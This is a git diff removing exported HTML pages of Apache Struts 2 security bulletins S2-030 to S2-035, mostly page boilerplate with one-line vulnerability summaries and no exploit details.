-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-030</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-030.html">S2-030</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-030</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=62687301">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=62687301">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=62687301">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=62687301">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=62687301">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=62687301">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-030-Summary">Summary</h2>Possible XSS vulnerability in <code>I18NInterceptor</code><div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Impact of vulnerability</p></th><td colspan="1" rowspan= [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-031.html b/content/docs/s2-031.html
deleted file mode 100644
index f6dc6fa..0000000
--- a/content/docs/s2-031.html
+++ /dev/null
@@ -1,138 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-031</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-031.html">S2-031</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-031</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=62693262">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=62693262">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=62693262">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=62693262">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=62693262">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=62693262">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-031-Summary">Summary</h2><code>XSLTResult</code> can be used to parse arbitrary stylesheet<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Impact of vulnerability</p></th><td colspan="1" r [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-032.html b/content/docs/s2-032.html
deleted file mode 100644
index 4c8c0ad..0000000
--- a/content/docs/s2-032.html
+++ /dev/null
@@ -1,138 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-032</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-032.html">S2-032</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-032</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=62693266">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=62693266">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=62693266">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=62693266">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=62693266">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=62693266">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-032-Summary">Summary</h2>Remote Code Execution can be performed via <code>method:</code> prefix when Dynamic Method Invocation is enabled.<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>I [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-033.html b/content/docs/s2-033.html
deleted file mode 100644
index 469d7ba..0000000
--- a/content/docs/s2-033.html
+++ /dev/null
@@ -1,138 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-033</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-033.html">S2-033</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-033</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=62696555">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=62696555">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=62696555">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=62696555">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=62696555">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=62696555">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-033-Summary">Summary</h2>Remote Code Execution can be performed when using REST Plugin with <code>!</code> operator when Dynamic Method Invocation is enabled.<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users</p></td></tr><tr><th colspan="1" rowspan="1" class [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-034.html b/content/docs/s2-034.html
deleted file mode 100644
index 3c4b377..0000000
--- a/content/docs/s2-034.html
+++ /dev/null
@@ -1,138 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-034</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-034.html">S2-034</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-034</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=62697718">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=62697718">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=62697718">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=62697718">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=62697718">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=62697718">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="S2-034-Summary">Summary</h2>OGNL cache poisoning can lead to DoS vulnerability<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Who should read this</p></th><td colspan="1" rowspan="1" class="confluenceTd"><p>All Struts 2 developers and users</p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Impact of vulnerability</p></th><td colspan="1" rowspan="1" clas [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/s2-035.html b/content/docs/s2-035.html
deleted file mode 100644
index 4a5a307..0000000
--- a/content/docs/s2-035.html
+++ /dev/null
@@ -1,138 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>S2-035</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="security-bulletins.html">Security Bulletins</a>&nbsp;&gt;&nbsp;<a href="s2-035.html">S2-035</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">S2-035</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=63930371">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=63930371">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
